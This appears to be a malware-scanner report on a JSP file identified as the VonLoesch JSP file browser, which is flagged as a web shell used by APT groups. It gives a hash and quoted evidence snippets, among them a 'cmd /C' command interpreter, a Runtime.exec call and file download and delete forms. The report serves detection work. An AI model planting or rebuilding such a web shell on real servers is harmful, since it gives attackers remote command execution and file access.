Suspicious ^82% Download

browser.jsp

VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1aWeb Shell

SHA-2566d3a0257132fce02f5dcb7d7ccc7fb73db233daae688ebb01de0129d4b448998

Evidence

JSP page import directive lines 19–30

19:36… ated on the fly.
20	- Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts
21--%>
22<%@page import="java.util.*,
23                java.net.*,
24                java.text.*,
⋯6 lines

VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1a lines 73–84

73:23… String[] FORBIDDEN_DRIVES = {"a:\\"};
74
75	/**
76	 * Command of the shell interpreter and the parameter to run a programm
77	 */
78	private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
79	//private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; 	// Unix
80
⋯4 lines

Web Shell lines 133–146

5… f (totalSize == 0) return 0;
	else return (int) (currSize * 100 / totalSize);
}
136
public String getTimeElapsed() {
	long time = (System.currentTimeMillis() - starttime) / 1000l;
	if (time - 60l >= 0){
		if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
⋯6 lines

Java getRuntime call reference lines 652–663

8… 1] = COMMAND_INTERPRETER[1];
comm[2] = command;
long start = System.currentTimeMillis();
try {
	//Start process
	Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
	//Get input and error streams
	BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
⋯4 lines

Web Shell - from files 201.jsp, 3.jsp, ma.jsp, download.jsp lines 1760–1772

45… <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%>
</b>
</p>
<p>
<input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
<input type="hidden" name="sort" value="<%=sortMode%>">
<input title="Download selected files and directories as one zip file" class="button" type="Submit" name="Submit" value="<%=SAVE_AS_ZIP%>">
<input title="Delete all selected files and directories incl. subdirs" class="button" type="Submit" name="Submit" value="<%=DELETE_FILES%>"
onclick="return confirm('Do you really want to delete the entries?')">
</p>
<p>
<input title="Enter new dir or filename or the relative or absolute path" type="text" name="cr_dir">
…